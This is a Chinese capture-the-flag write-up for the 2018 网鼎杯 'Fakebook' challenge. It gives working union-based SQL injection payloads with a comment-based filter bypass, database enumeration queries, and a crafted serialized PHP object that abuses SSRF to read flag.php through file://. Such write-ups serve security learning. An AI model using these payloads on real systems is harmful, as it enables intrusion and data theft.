[网鼎杯 2018]Fakebook
先扫一下后台
访问user.php.bak
下载下备份文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
看了其他的wp才知道源码中的get函数存在SSRF的漏洞
页面刚开始有一个join和login,先注册一个用户名,注册成功后可以点击这个用户名,url后面有了get注入的传参
?no=1
尝试sql注入,
?no=1 order by 5 --+
使用数字型注入测试,一直查询到第五列时出现报错,说明一共是四列,接着尝试查询数据库
?no=1 union select 1,2,3,4--+
应该是题目设置了黑名单,用双写绕过
?no=1 uniunionon seselectlect 1,2,3,4--+
双鞋报错了,可能是过滤掉了空格,看了wp知道这里可以用/**/
注释绕过
?no=-1/**/union/**/select/**/1,2,3,4--+
出现的报错信息上有unserialize()
函数,联系刚开始拿到的源码上的__construct()魔术方法,应该是和反序列化有关,接着爆破数据库,因为出现的第二列,就在第二列开始注入
?no=-1/**/union/**/select/**/1,database(),3,4--+
/fakebook
爆破表名
?no=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4--+
//users
?no=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users'),3,4--+
?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+
查询其中的data字段,回显了一串序列化的字符
O:8:"UserInfo":3:{s:4:"name";s:3:"jcy";s:3:"age";i:12;s:4:"blog";s:35:"https://mp.csdn.net/console/article";}
我们将源码中所给的类序列化
<?php
class UserInfo
{
public $name = "jcy";
public $age = 12;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
$b=serialize($a);
echo $b;
O:8:"UserInfo":3:{s:4:"name";s:3:"jcy";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
因为博客地址在第四列,所以在第四列注入
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"jcy";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
我们传入的地址已经成功被访问,查看源码进行base64解密即可